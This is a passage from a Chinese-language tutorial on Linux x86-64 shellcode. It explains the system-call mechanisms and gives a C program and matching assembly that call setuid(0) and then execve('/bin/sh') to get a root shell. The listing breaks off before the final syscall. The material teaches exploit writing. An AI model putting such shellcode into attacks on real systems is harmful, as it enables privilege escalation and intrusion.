shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。
既然是攻击,那shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
第二种是通过调用libc里syscall(64位)和sysenter(32位)
而目前在64位linux中推荐使用syscall,因为opcode是16进制的指令集合,可以通过先出汇编代码,然后编译成执行代码,最后查看opcode.
既然我们是想获得root权限,而且能够继续执行shell, 那么我们通常会使用下面代码(先不讨论linux相关的知识)。
shell.c
#include
int main(){
setuid(0);
execve("/bin/sh",NULL,NULL);
}而所对应的汇编代码如下
global _start
_start:
xor rdi,rdi
xor rax,rax
mov al,0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b